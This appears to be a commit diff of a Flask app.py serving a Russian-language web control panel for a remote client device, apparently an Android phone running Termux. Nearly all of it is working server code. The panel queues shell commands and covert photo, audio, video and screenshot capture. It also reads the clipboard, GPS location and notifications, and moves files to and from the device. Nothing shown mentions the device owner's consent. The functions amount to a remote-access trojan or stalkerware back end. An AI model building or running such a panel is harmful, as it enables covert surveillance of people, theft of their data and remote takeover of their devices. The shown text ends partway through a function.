Aleksmorshen commited on
Commit
1c1e1e0
·
verified ·
1 Parent(s): 42fd1f3

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +244 -232
app.py CHANGED
@@ -3,7 +3,7 @@ import os
3
  import datetime
4
  import uuid
5
  import werkzeug.utils
6
- import json
7
 
8
  app = Flask(__name__)
9
  app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
@@ -15,7 +15,7 @@ os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
15
  pending_command = None
16
  command_output = "Ожидание команд..."
17
  last_client_heartbeat = None
18
- current_client_path = "~"
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
@@ -64,9 +64,6 @@ HTML_TEMPLATE = """
64
  .notification-item:last-child { border-bottom: none; }
65
  .notification-item strong { display: block; color: #555; }
66
  .notification-item span { font-size: 0.9em; color: #777; }
67
- .media-control-group { display: flex; align-items: center; flex-wrap: wrap; gap: 10px; }
68
- .media-control-group label { margin-bottom: 0; }
69
- .media-control-group input[type="text"] { width: 60px; margin-bottom: 0; }
70
  </style>
71
  <script>
72
  let currentView = 'dashboard';
@@ -78,9 +75,9 @@ HTML_TEMPLATE = """
78
  document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
79
  currentView = sectionId;
80
  if (sectionId === 'files') refreshClientPathDisplay();
81
- if (sectionId === 'device_status') requestDeviceStatus();
82
  if (sectionId === 'notifications') requestNotifications();
83
- refreshOutput(); // Refresh output for the current view immediately
84
  }
85
 
86
  async function refreshOutput() {
@@ -88,24 +85,18 @@ HTML_TEMPLATE = """
88
  const response = await fetch('/get_status_output');
89
  const data = await response.json();
90
 
91
- const outputAreasToUpdate = ['outputArea']; // Always update main dashboard output
92
- if (currentView === 'shell') outputAreasToUpdate.push('outputAreaShellCopy');
93
- if (currentView === 'media') outputAreasToUpdate.push('outputAreaMediaCopy');
94
- if (currentView === 'clipboard') outputAreasToUpdate.push('outputAreaClipboardCopy');
95
- if (currentView === 'utils') outputAreasToUpdate.push('outputAreaUtilsCopy');
96
 
97
- outputAreasToUpdate.forEach(id => {
98
- const el = document.getElementById(id);
99
- if (el && data.output) el.innerText = data.output;
100
- });
101
-
102
-
103
  if (data.last_heartbeat) {
104
  const statusDiv = document.getElementById('clientStatus');
105
  const lastBeat = new Date(data.last_heartbeat);
106
  const now = new Date();
107
  const diffSeconds = (now - lastBeat) / 1000;
108
- if (diffSeconds < 45) {
109
  statusDiv.className = 'status online';
110
  statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
111
  } else {
@@ -117,33 +108,33 @@ HTML_TEMPLATE = """
117
  document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
118
  }
119
 
120
- if (data.current_path && currentView === 'files') {
121
- document.getElementById('currentPathDisplay').innerText = data.current_path;
122
- if (data.output && data.output.startsWith("Содержимое") ) {
123
  renderFileList(data.output, data.current_path);
124
- } else if (data.output && currentView === 'files') { // If output is not a listing but we are in files view
125
  document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
126
  }
127
  }
128
-
129
  const filesResponse = await fetch('/list_uploaded_files');
130
  const filesData = await filesResponse.json();
131
  const serverFileListUl = document.getElementById('serverUploadedFiles');
132
- serverFileListUl.innerHTML = '';
133
  if (filesData.files && filesData.files.length > 0) {
134
  filesData.files.forEach(file => {
135
  const li = document.createElement('li');
136
  const a = document.createElement('a');
137
  a.href = '/uploads_from_client/' + encodeURIComponent(file);
138
  a.textContent = file;
139
- a.target = '_blank';
140
  li.appendChild(a);
141
  serverFileListUl.appendChild(li);
142
  });
143
  } else {
144
  serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
145
  }
146
-
147
  if (data.device_status && currentView === 'device_status') {
148
  updateDeviceStatusDisplay(data.device_status);
149
  }
@@ -151,18 +142,18 @@ HTML_TEMPLATE = """
151
  renderNotifications(data.notifications);
152
  }
153
 
154
-
155
  } catch (error) {
156
  console.error("Error refreshing data:", error);
157
- const mainOutputArea = document.getElementById('outputArea');
158
- if (mainOutputArea) mainOutputArea.innerText = "Ошибка обновления данных с сервера.";
159
-
 
160
  }
161
  }
162
-
163
  function updateDeviceStatusDisplay(status) {
164
  document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
165
- document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
166
  if (status.location && status.location.latitude && status.location.longitude) {
167
  document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
168
  } else {
@@ -174,20 +165,19 @@ HTML_TEMPLATE = """
174
  function renderFileList(lsOutput, currentPath) {
175
  const fileListUl = document.getElementById('fileList');
176
  fileListUl.innerHTML = '';
177
- const lines = lsOutput.split('\\n'); // Assuming server sends \n, if not, adjust
178
-
179
- // Normalize currentPath for comparison (e.g. remove trailing slash if not root)
180
- let normalizedCurrentPath = currentPath;
181
- if (normalizedCurrentPath !== '/' && normalizedCurrentPath.endsWith('/')) {
182
- normalizedCurrentPath = normalizedCurrentPath.slice(0, -1);
183
- }
184
 
185
- // Add ".." (parent directory) link if not at root or home equivalent
186
- // This logic might need refinement depending on how `currentPath` represents home ('~') vs absolute home path
187
- const isHome = currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true); // osPathToUserFriendly might not be available here directly
188
- const isRoot = currentPath === '/';
 
 
189
 
190
- if (!isRoot && !isHome) { // Simple check, might need more robust logic for '~'
 
191
  const parentLi = document.createElement('li');
192
  parentLi.className = 'dir';
193
  const parentA = document.createElement('a');
@@ -200,60 +190,46 @@ HTML_TEMPLATE = """
200
 
201
  lines.forEach(line => {
202
  if (line.trim() === '' || line.startsWith("Содержимое")) return;
203
- const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); // Match literal [D] or [F]
204
- if (!parts) { // If no match, maybe it's just a filename from a simple ls
205
- const li = document.createElement('li');
206
- li.textContent = line;
207
- fileListUl.appendChild(li);
208
- return;
209
- }
210
-
211
- const type = parts[1];
212
  const name = parts[2].trim();
213
-
214
  const li = document.createElement('li');
215
  const nameSpan = document.createElement('span');
216
  const a = document.createElement('a');
217
  a.href = '#';
218
-
219
  if (type === '[D]') {
220
  li.className = 'dir';
221
  a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
222
  a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
223
  nameSpan.appendChild(a);
224
- li.appendChild(nameSpan);
225
- } else { // [F] or other
226
  li.className = 'file';
227
  a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
228
- // Make file name clickable for potential future actions, but no default action for now
229
- a.onclick = (e) => { e.preventDefault(); /* Potentially view details or select */ };
230
  nameSpan.appendChild(a);
231
 
232
  const downloadBtn = document.createElement('button');
233
  downloadBtn.className = 'download-btn';
234
  downloadBtn.textContent = 'Скачать';
235
  downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
236
-
237
- li.appendChild(nameSpan);
238
- li.appendChild(downloadBtn);
239
  }
 
240
  fileListUl.appendChild(li);
241
  });
242
  }
243
 
244
- // This function is conceptual for JS side, actual path resolution is on server/client
245
- function osPathToUserFriendly(path, checkRoot = false) {
246
- // This is a simplified version for JS display. The real logic is in Python.
247
- if (path.includes('com.termux/files/home')) { // A bit loose
248
- let relPath = path.substring(path.indexOf('com.termux/files/home') + 'com.termux/files/home'.length);
249
- if (relPath === '' || relPath === '/') return '~';
250
- return '~' + relPath;
251
- }
252
- if (checkRoot && path === '/') return '/';
253
- return path;
254
- }
255
-
256
-
257
  function renderNotifications(notifications) {
258
  const notificationListDiv = document.getElementById('notificationList');
259
  notificationListDiv.innerHTML = '';
@@ -261,12 +237,14 @@ HTML_TEMPLATE = """
261
  notifications.forEach(n => {
262
  const itemDiv = document.createElement('div');
263
  itemDiv.className = 'notification-item';
 
 
264
  itemDiv.innerHTML = `
265
- <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
266
  <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
267
  <span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
268
  <span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
269
- <p>${n.content || 'Нет содержимого'}</p>
270
  `;
271
  notificationListDiv.appendChild(itemDiv);
272
  });
@@ -274,20 +252,16 @@ HTML_TEMPLATE = """
274
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
275
  }
276
  }
277
-
278
  async function sendGenericCommand(payload) {
279
  try {
280
- // Determine which output area to show "Sending command..."
281
- let targetOutputAreaId = 'outputArea'; // Default
282
- if (currentView === 'shell') targetOutputAreaId = 'outputAreaShellCopy';
283
- else if (currentView === 'media') targetOutputAreaId = 'outputAreaMediaCopy';
284
- else if (currentView === 'clipboard') targetOutputAreaId = 'outputAreaClipboardCopy';
285
- else if (currentView === 'utils') targetOutputAreaId = 'outputAreaUtilsCopy';
286
- else if (currentView === 'files') { /* For files, output is usually the list */ }
287
-
288
- const el = document.getElementById(targetOutputAreaId);
289
- if (el && currentView !== 'files') el.innerText = "Отправка команды...";
290
-
291
 
292
  const response = await fetch('/send_command', {
293
  method: 'POST',
@@ -296,31 +270,37 @@ HTML_TEMPLATE = """
296
  });
297
  if (!response.ok) {
298
  console.error("Server error sending command");
299
- if (el && currentView !== 'files') el.innerText = "Ошибка сервера при отправке команды.";
300
- }
 
 
 
301
  } catch (error) {
302
  console.error("Network error sending command:", error);
303
- const el = document.getElementById(targetOutputAreaId);
304
- if (el && currentView !== 'files') el.innerText = "Сетевая ошибка при отправке команды.";
 
305
  }
306
  }
307
 
308
  function navigateTo(itemName) {
309
  sendGenericCommand({ command_type: 'list_files', path: itemName });
310
- if (currentView === 'files') {
311
  document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
312
  }
313
  }
314
 
315
  function requestDownloadFile(filename) {
316
  sendGenericCommand({ command_type: 'request_download_file', filename: filename });
317
- // The main output area will be updated by refreshOutput
318
- const mainOutputArea = document.getElementById('outputArea');
319
- if (mainOutputArea) mainOutputArea.innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
 
 
320
  }
321
-
322
  function refreshClientPathDisplay(){
323
- if (document.getElementById('currentPathDisplay') && currentView === 'files') {
324
  fetch('/get_status_output').then(r=>r.json()).then(data => {
325
  if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
326
  });
@@ -328,36 +308,44 @@ HTML_TEMPLATE = """
328
  }
329
 
330
  window.onload = () => {
331
- showSection('dashboard'); // Initial section
332
  setInterval(refreshOutput, 4000); // Regular refresh
333
  refreshOutput(); // Initial refresh
334
  };
335
-
336
  function submitShellCommand(event) {
337
  event.preventDefault();
338
  const command = document.getElementById('command_str').value;
339
  sendGenericCommand({ command_type: 'shell', command: command });
340
  document.getElementById('command_str').value = '';
341
  }
342
-
343
- function submitMediaCommand(type, param1Name, param1ValueId, param2Name = null, param2ValueId = null) {
344
  let payload = { command_type: type };
345
- if (param1Name && param1ValueId) {
346
- const value1 = document.getElementById(param1ValueId).value;
347
- if (value1) payload[param1Name] = value1;
348
- }
349
- if (param2Name && param2ValueId) { // Handle second parameter if provided
350
- const value2 = document.getElementById(param2ValueId).value;
351
- if (value2) payload[param2Name] = value2;
 
 
 
 
 
 
 
 
352
  }
353
  sendGenericCommand(payload);
354
  }
355
-
356
  async function handleUploadToServer(event) {
357
  event.preventDefault();
358
  const fileInput = document.getElementById('fileToUploadToDevice');
359
  const targetPathInput = document.getElementById('targetDevicePath');
360
-
361
  if (!fileInput.files[0]) {
362
  alert("Пожалуйста, выберите файл для загрузки.");
363
  return;
@@ -370,7 +358,7 @@ HTML_TEMPLATE = """
370
  const formData = new FormData();
371
  formData.append('file_to_device', fileInput.files[0]);
372
  formData.append('target_path_on_device', targetPathInput.value);
373
-
374
  document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
375
 
376
  try {
@@ -381,11 +369,12 @@ HTML_TEMPLATE = """
381
  const result = await response.json();
382
  if (result.status === 'success') {
383
  document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
384
- // Now queue the command for the client to download this file
385
- sendGenericCommand({
386
- command_type: 'receive_file',
387
- server_filename: result.server_filename,
388
- target_path_on_device: result.target_path_on_device // Server echoed this back
 
389
  });
390
  } else {
391
  document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
@@ -394,7 +383,7 @@ HTML_TEMPLATE = """
394
  document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файл�� на сервер: ' + error;
395
  }
396
  }
397
-
398
  function getClipboard() {
399
  sendGenericCommand({ command_type: 'clipboard_get' });
400
  }
@@ -413,7 +402,7 @@ HTML_TEMPLATE = """
413
  function requestDeviceStatus(item = null) {
414
  let payload = { command_type: 'get_device_status' };
415
  if (item) {
416
- payload.item = item;
417
  }
418
  sendGenericCommand(payload);
419
  }
@@ -475,7 +464,7 @@ HTML_TEMPLATE = """
475
  <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
476
  </div>
477
  </div>
478
-
479
  <div id="notifications" class="container hidden-section">
480
  <h2>Уведомления устройства</h2>
481
  <button onclick="requestNotifications()">Обновить уведомления</button>
@@ -522,41 +511,35 @@ HTML_TEMPLATE = """
522
  </form>
523
  <div class="control-section" style="margin-top:20px;">
524
  <h3>Вывод команды:</h3>
525
- <pre id="outputAreaShellCopy">Ожидание вывода...</pre>
526
  </div>
527
  </div>
528
 
529
  <div id="media" class="container hidden-section">
530
  <h2>Мультимедиа</h2>
531
  <div class="control-section">
532
- <div class="media-control-group">
533
- <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
534
- <label for="camera_id_input">ID камеры:</label>
535
- <input type="text" id="camera_id_input" value="0">
536
- </div>
537
  </div>
538
  <div class="control-section">
539
- <div class="media-control-group">
540
- <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
541
- <label for="audio_duration_input">Длительность (сек):</label>
542
- <input type="text" id="audio_duration_input" value="5">
543
- </div>
544
  </div>
545
- <div class="control-section">
546
- <div class="media-control-group">
547
- <button onclick="submitMediaCommand('record_video', 'duration', 'video_duration_input', 'camera_id', 'video_camera_id_input')">Записать видео</button>
548
- <label for="video_camera_id_input">ID камеры:</label>
549
- <input type="text" id="video_camera_id_input" value="0">
550
- <label for="video_duration_input">Длительность (сек):</label>
551
- <input type="text" id="video_duration_input" value="10">
552
- </div>
553
  </div>
554
  <div class="control-section">
555
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
556
  </div>
557
  <div class="control-section" style="margin-top:20px;">
558
  <h3>Результат операции:</h3>
559
- <pre id="outputAreaMediaCopy">Ожидание вывода...</pre>
560
  </div>
561
  </div>
562
 
@@ -572,7 +555,7 @@ HTML_TEMPLATE = """
572
  </div>
573
  <div class="control-section" style="margin-top:20px;">
574
  <h3>Результат операции с буфером:</h3>
575
- <pre id="outputAreaClipboardCopy">Ожидание вывода...</pre>
576
  </div>
577
  </div>
578
 
@@ -585,10 +568,10 @@ HTML_TEMPLATE = """
585
  </div>
586
  <div class="control-section" style="margin-top:20px;">
587
  <h3>Результат операции:</h3>
588
- <pre id="outputAreaUtilsCopy">Ожидание вывода...</pre>
589
  </div>
590
  </div>
591
-
592
  <div id="uploads" class="container hidden-section">
593
  <h2>Файлы, загруженные С клиента на сервер</h2>
594
  <div class="control-section">
@@ -599,17 +582,23 @@ HTML_TEMPLATE = """
599
  </div>
600
  </div>
601
  <script>
602
- // Logic to copy main output to section-specific output areas
603
- // This can be simplified if refreshOutput handles it directly, which it now does.
604
- // This listener is mostly redundant now but harmless.
605
  document.addEventListener('DOMContentLoaded', () => {
606
  const outputArea = document.getElementById('outputArea');
 
 
 
 
 
607
  const observer = new MutationObserver(() => {
608
- if (currentView === 'shell') document.getElementById('outputAreaShellCopy').innerText = outputArea.innerText;
609
- if (currentView === 'media') document.getElementById('outputAreaMediaCopy').innerText = outputArea.innerText;
610
- if (currentView === 'clipboard') document.getElementById('outputAreaClipboardCopy').innerText = outputArea.innerText;
611
- if (currentView === 'utils') document.getElementById('outputAreaUtilsCopy').innerText = outputArea.innerText;
 
612
  });
 
 
613
  if (outputArea) {
614
  observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
615
  }
@@ -626,12 +615,12 @@ def index():
626
  @app.route('/send_command', methods=['POST'])
627
  def handle_send_command():
628
  global pending_command, command_output, current_client_path, file_to_send_to_client
629
-
630
  data = request.json
631
- command_output = "Ожидание выполнения..." # Reset output when a new command is sent
632
-
633
  command_type = data.get('command_type')
634
-
635
  if command_type == 'list_files':
636
  path_requested = data.get('path', '.')
637
  pending_command = {'type': 'list_files', 'path': path_requested}
@@ -647,9 +636,9 @@ def handle_send_command():
647
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
648
  elif command_type == 'record_video':
649
  pending_command = {
650
- 'type': 'record_video',
651
- 'camera_id': data.get('camera_id', '0'), # JS sends 'camera_id' as second param key
652
- 'duration': data.get('duration', '10') # JS sends 'duration' as first param key
653
  }
654
  elif command_type == 'screenshot':
655
  pending_command = {'type': 'screenshot'}
@@ -659,23 +648,27 @@ def handle_send_command():
659
  pending_command = {'type': 'shell', 'command': command_str}
660
  else:
661
  command_output = "Ошибка: Команда не указана."
662
- elif command_type == 'receive_file': # This is queued by server after successful upload_to_server_for_client
663
- server_filename = data.get('server_filename')
664
  target_path_on_device = data.get('target_path_on_device')
665
- if server_filename and target_path_on_device:
 
 
666
  file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
667
  if os.path.exists(file_path_on_server):
668
  pending_command = {
669
- 'type': 'receive_file',
670
  'download_url': url_for('download_to_client', filename=server_filename, _external=True),
671
  'target_path': target_path_on_device,
672
- 'original_filename': server_filename # Client might want original name if server renamed it with UUID
673
  }
674
- # file_to_send_to_client = None # This global seems unused, pending_command handles it
675
  else:
676
  command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
677
  else:
678
- command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
 
 
679
  elif command_type == 'clipboard_get':
680
  pending_command = {'type': 'clipboard_get'}
681
  elif command_type == 'clipboard_set':
@@ -688,13 +681,13 @@ def handle_send_command():
688
  else:
689
  command_output = "Ошибка: URL для открытия не указан."
690
  elif command_type == 'get_device_status':
691
- item_requested = data.get('item')
692
  pending_command = {'type': 'get_device_status', 'item': item_requested}
693
  elif command_type == 'get_notifications':
694
  pending_command = {'type': 'get_notifications'}
695
  else:
696
  command_output = "Неизвестный тип команды."
697
-
698
  return jsonify({'status': 'command_queued'})
699
 
700
 
@@ -703,14 +696,14 @@ def get_command():
703
  global pending_command
704
  if pending_command:
705
  cmd_to_send = pending_command
706
- pending_command = None
707
  return jsonify(cmd_to_send)
708
- return jsonify(None)
709
 
710
  @app.route('/submit_client_data', methods=['POST'])
711
  def submit_client_data():
712
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
713
-
714
  data = request.json
715
  if not data:
716
  return jsonify({'status': 'error', 'message': 'No data received'}), 400
@@ -719,40 +712,35 @@ def submit_client_data():
719
 
720
  if 'output' in data:
721
  new_output = data['output']
722
- max_len = 20000
723
  if len(new_output) > max_len:
724
  command_output = new_output[:max_len] + "\n... (output truncated)"
725
  else:
726
  command_output = new_output
727
- # If only heartbeat, don't overwrite output unless it's empty/default
728
- elif 'heartbeat' in data and data['heartbeat'] and (not command_output or command_output == "Ожидание выполнения..." or command_output == "Ожидание команд..."):
729
- command_output = "Клиент онлайн."
730
-
731
-
732
  if 'current_path' in data:
733
  current_client_path = data['current_path']
734
 
735
  if 'device_status_update' in data:
736
  update = data['device_status_update']
737
- for key, value in update.items():
738
  device_status_info[key] = value
739
- if not ('output' in data): # If no main output, use a generic message
740
- command_output = "Статус устройства обновлен."
741
-
742
-
743
  if 'notifications_update' in data:
744
- notifications_history = data['notifications_update']
745
- if not ('output' in data):
746
- command_output = "Список уведомлений обновлен."
747
 
748
 
749
- # Special case: if heartbeat comes with no other data, and output is default "waiting", update it.
750
  if 'heartbeat' in data and data['heartbeat']:
751
- if command_output in ["Ожидание выполнения...", "Ожидание команд...", "Клиент онлайн."]: # Avoid overwriting actual command output
752
- if not ('output' in data or 'device_status_update' in data or 'notifications_update' in data):
753
- command_output = "Клиент онлайн."
754
  return jsonify({'status': 'heartbeat_ok'})
755
-
756
  return jsonify({'status': 'data_received'})
757
 
758
  @app.route('/upload_from_client', methods=['POST'])
@@ -760,47 +748,63 @@ def upload_from_client_route():
760
  global command_output, last_client_heartbeat
761
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
762
  if 'file' not in request.files:
763
- # This error message will be sent back to client, but likely not displayed if client_uploads_file_to_server handles its own output
764
- return jsonify({'status': 'error', 'message': 'No file part'}), 400
765
-
 
 
 
766
  file = request.files['file']
 
 
767
  if file.filename == '':
768
- return jsonify({'status': 'error', 'message': 'No selected file'}), 400
 
769
 
770
  if file:
771
- filename = werkzeug.utils.secure_filename(file.filename)
772
- filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
773
-
774
- counter = 0
 
 
 
 
775
  base_name, ext = os.path.splitext(filename)
 
 
 
 
776
  while os.path.exists(filepath):
777
  counter += 1
778
- filename = f"{base_name}_{counter}{ext}"
779
- filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
780
 
781
  try:
782
  file.save(filepath)
783
- origin_command_type = request.form.get("origin_command_type", "unknown")
784
- # Update server's general command_output only if it was a requested download by user.
785
- # For automatic uploads like photo/audio/video, the client will send its own summary.
786
- if origin_command_type == "request_download_file":
787
- command_output = f"Файл '{filename}' успешно загружен С клиента на сервер."
788
- # Client will send its own output string, which will override command_output on server via /submit_client_data
789
-
790
- return jsonify({'status': 'success', 'filename': filename, 'message': f'Файл {filename} получен сервером.'})
791
  except Exception as e:
792
- # This message might be seen by the client if its upload function checks response text.
793
- return jsonify({'status': 'error', 'message': f'Ошибка сохранения файла от клиента на сервере: {str(e)}'}), 500
 
 
 
 
794
 
795
  @app.route('/get_status_output', methods=['GET'])
796
  def get_status_output_route():
797
  global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
798
  return jsonify({
799
- 'output': command_output,
800
  'last_heartbeat': last_client_heartbeat,
801
  'current_path': current_client_path,
802
  'device_status': device_status_info,
803
- 'notifications': notifications_history
804
  })
805
 
806
  @app.route('/uploads_from_client/<path:filename>')
@@ -810,57 +814,65 @@ def uploaded_file_from_client(filename):
810
  @app.route('/list_uploaded_files')
811
  def list_uploaded_files_route():
812
  files = []
 
813
  try:
814
- valid_files = [f_name for f_name in os.listdir(app.config['UPLOAD_FOLDER']) if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name))]
815
- files = sorted(valid_files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)
 
 
 
816
  except Exception as e:
817
- print(f"Error listing uploaded files: {e}") # Log server-side
818
- pass
819
  return jsonify({'files': files})
820
 
821
 
822
  @app.route('/upload_to_server_for_client', methods=['POST'])
823
  def upload_to_server_for_client_route():
824
- # global file_to_send_to_client # This global seems unused
825
  global command_output
826
  if 'file_to_device' not in request.files:
827
  return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
828
-
829
  file = request.files['file_to_device']
830
  target_path_on_device = request.form.get('target_path_on_device')
831
 
832
  if file.filename == '':
833
- return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
834
-
835
  if not target_path_on_device:
836
  return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
837
 
838
  if file:
839
  original_filename = werkzeug.utils.secure_filename(file.filename)
840
- # Use UUID to ensure unique filename on server, client will receive original_filename for saving
841
- server_side_filename = str(uuid.uuid4()) + "_" + original_filename
842
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
843
-
844
  try:
845
  file.save(filepath_on_server)
846
- # This command_output will be shown on the web UI temporarily
847
- command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
848
- # The JS will then call sendGenericCommand to queue 'receive_file' for the client
849
  return jsonify({
850
- 'status': 'success',
851
- 'server_filename': server_side_filename, # This is the UUID prepended name
852
- 'original_filename': original_filename, # Client should use this to save
853
- 'target_path_on_device': target_path_on_device # Echo back for JS to use
854
  })
855
  except Exception as e:
 
856
  return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
857
- return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
 
858
 
859
  @app.route('/download_to_client/<filename>')
860
  def download_to_client(filename):
861
- # Filename here is the server_side_filename (with UUID)
862
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
863
 
864
 
865
  if __name__ == '__main__':
 
 
866
  app.run(host='0.0.0.0', port=7860, debug=False)
 
3
  import datetime
4
  import uuid
5
  import werkzeug.utils
6
+ import json
7
 
8
  app = Flask(__name__)
9
  app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
 
15
  pending_command = None
16
  command_output = "Ожидание команд..."
17
  last_client_heartbeat = None
18
+ current_client_path = "~"
19
  file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
 
64
  .notification-item:last-child { border-bottom: none; }
65
  .notification-item strong { display: block; color: #555; }
66
  .notification-item span { font-size: 0.9em; color: #777; }
 
 
 
67
  </style>
68
  <script>
69
  let currentView = 'dashboard';
 
75
  document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
76
  currentView = sectionId;
77
  if (sectionId === 'files') refreshClientPathDisplay();
78
+ if (sectionId === 'device_status') requestDeviceStatus();
79
  if (sectionId === 'notifications') requestNotifications();
80
+ refreshOutput(); // Refresh output specifically for the current view's needs
81
  }
82
 
83
  async function refreshOutput() {
 
85
  const response = await fetch('/get_status_output');
86
  const data = await response.json();
87
 
88
+ // Update general output area if it's part of the current view logic
89
+ const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
90
+ if (data.output && generalOutputViews.includes(currentView)) {
91
+ document.getElementById('outputArea').innerText = data.output;
92
+ }
93
 
 
 
 
 
 
 
94
  if (data.last_heartbeat) {
95
  const statusDiv = document.getElementById('clientStatus');
96
  const lastBeat = new Date(data.last_heartbeat);
97
  const now = new Date();
98
  const diffSeconds = (now - lastBeat) / 1000;
99
+ if (diffSeconds < 45) {
100
  statusDiv.className = 'status online';
101
  statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
102
  } else {
 
108
  document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
109
  }
110
 
111
+ if (currentView === 'files') {
112
+ if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
113
+ if (data.output && data.output.startsWith("Содержимое")) {
114
  renderFileList(data.output, data.current_path);
115
+ } else if (data.output) { // If not a listing, show raw output in file list area for context
116
  document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
117
  }
118
  }
119
+
120
  const filesResponse = await fetch('/list_uploaded_files');
121
  const filesData = await filesResponse.json();
122
  const serverFileListUl = document.getElementById('serverUploadedFiles');
123
+ serverFileListUl.innerHTML = '';
124
  if (filesData.files && filesData.files.length > 0) {
125
  filesData.files.forEach(file => {
126
  const li = document.createElement('li');
127
  const a = document.createElement('a');
128
  a.href = '/uploads_from_client/' + encodeURIComponent(file);
129
  a.textContent = file;
130
+ a.target = '_blank';
131
  li.appendChild(a);
132
  serverFileListUl.appendChild(li);
133
  });
134
  } else {
135
  serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
136
  }
137
+
138
  if (data.device_status && currentView === 'device_status') {
139
  updateDeviceStatusDisplay(data.device_status);
140
  }
 
142
  renderNotifications(data.notifications);
143
  }
144
 
 
145
  } catch (error) {
146
  console.error("Error refreshing data:", error);
147
+ const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
148
+ if (generalOutputViews.includes(currentView)) {
149
+ document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
150
+ }
151
  }
152
  }
153
+
154
  function updateDeviceStatusDisplay(status) {
155
  document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
156
+ document.getElementById('locationStatus').innerHTML = (status.location && status.location.latitude !== undefined) ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
157
  if (status.location && status.location.latitude && status.location.longitude) {
158
  document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
159
  } else {
 
165
  function renderFileList(lsOutput, currentPath) {
166
  const fileListUl = document.getElementById('fileList');
167
